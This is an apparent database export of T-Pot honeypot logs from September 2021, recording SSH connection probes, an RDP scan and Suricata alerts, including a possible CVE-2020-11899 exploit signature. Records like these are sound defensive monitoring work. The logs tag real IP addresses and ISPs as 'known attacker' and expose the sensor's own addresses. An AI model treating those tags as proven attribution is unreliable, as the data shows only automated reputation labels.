35433	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:37.639208+03	2021-09-20 15:15:03.253691+03	{"_id": "2gYbA3wBvYTbRNuEr1v3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 10 seconds", "session": "13be58f0efff", "@version": "1", "duration": 10.888517618179321, "timestamp": "2021-09-20T12:08:37.639208Z", "@timestamp": "2021-09-20T12:08:37.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	SE
35434	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:08:38.17951+03	2021-09-20 15:15:03.25469+03	{"_id": "3AYbA3wBvYTbRNuEsVsW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:38.104859+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2757264578971, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 9614, "dest_port": 3389, "timestamp": "2021-09-20T12:08:38.179510Z", "@timestamp": "2021-09-20T12:08:38.179Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35435	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:08:44.282225+03	2021-09-20 15:15:03.25669+03	{"_id": "6wYbA3wBvYTbRNuEx1tq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "fc9aa3e75f3f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:08:44.282225Z", "@timestamp": "2021-09-20T12:08:44.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
35436	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:08:44.468895+03	2021-09-20 15:15:03.25769+03	{"_id": "7QYbA3wBvYTbRNuEyFuJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:08:44.092859+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2144137764432571, "payload": "AAADzAYUT+zVJ0h6X1rW2ej1U0b53QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49798, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:08:44.468895Z", "@timestamp": "2021-09-20T12:08:44.468Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......O..'Hz_Z....SF.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	US
35437	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:08:44.469499+03	2021-09-20 15:15:03.25969+03	{"_id": "6gYbA3wBvYTbRNuEx1tq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "fc9aa3e75f3f", "@version": "1", "timestamp": "2021-09-20T12:08:44.469499Z", "@timestamp": "2021-09-20T12:08:44.469Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
35438	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:08:44.468807+03	2021-09-20 15:15:03.260691+03	{"_id": "7AYbA3wBvYTbRNuEyFuJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 2144137764432571, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49798, "dest_port": 22, "timestamp": "2021-09-20T12:08:44.468807Z", "@timestamp": "2021-09-20T12:08:44.468Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
35439	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:08:44.279216+03	2021-09-20 15:15:03.26169+03	{"_id": "6QYbA3wBvYTbRNuEx1tq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:49798 (192.168.176.2:22) [session: fc9aa3e75f3f]", "session": "fc9aa3e75f3f", "@version": "1", "protocol": "ssh", "src_port": 49798, "dest_port": 22, "timestamp": "2021-09-20T12:08:44.279216Z", "@timestamp": "2021-09-20T12:08:44.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
35440	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:08:47.374152+03	2021-09-20 15:15:03.26269+03	{"_id": "AAYbA3wBvYTbRNuE01wj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 203.176.71.44:48835 (192.168.176.2:22) [session: 8b00df73fcd3]", "session": "8b00df73fcd3", "@version": "1", "protocol": "ssh", "src_port": 48835, "dest_port": 22, "timestamp": "2021-09-20T12:08:47.374152Z", "@timestamp": "2021-09-20T12:08:47.374Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35441	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:08:47.377053+03	2021-09-20 15:15:03.26469+03	{"_id": "_wYbA3wBvYTbRNuE01sj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "8b00df73fcd3", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:08:47.377053Z", "@timestamp": "2021-09-20T12:08:47.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35442	176.60.208.43	109.199.241.180	Suricata	2021-09-20 15:08:47.209906+03	2021-09-20 15:15:03.26569+03	{"_id": "CAYbA3wBvYTbRNuE1FxG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:08:47.020489+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 878522571640841, "payload": "AAADzAYUDxsfMKeaFBemX0XteRXiYAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59482, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:08:47.209906Z", "@timestamp": "2021-09-20T12:08:47.209Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........0....._E.y..`...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	BY
35443	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:46.950063+03	2021-09-20 15:15:03.26769+03	{"_id": "DgYbA3wBvYTbRNuE1FxH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.950063+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 259325726457647, "payload": "xiEAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 52014, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T12:08:46.950063Z", "@timestamp": "2021-09-20T12:08:46.950Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".!...........DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
35444	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:47.324263+03	2021-09-20 15:15:03.26869+03	{"_id": "BgYbA3wBvYTbRNuE1FxG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:47.324263+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 62}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1053808776966823, "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:08:47.324263Z", "@timestamp": "2021-09-20T12:08:47.324Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35445	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:47.323017+03	2021-09-20 15:15:03.270691+03	{"_id": "CwYbA3wBvYTbRNuE1FxG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:47.323017Z", "@timestamp": "2021-09-20T12:08:47.323Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35446	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:47.325124+03	2021-09-20 15:15:03.271689+03	{"_id": "DAYbA3wBvYTbRNuE1FxG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 380}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAH/8J8CBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:47.325124Z", "@timestamp": "2021-09-20T12:08:47.325Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................................."}}	1	\N	\N	alert	\N	\N
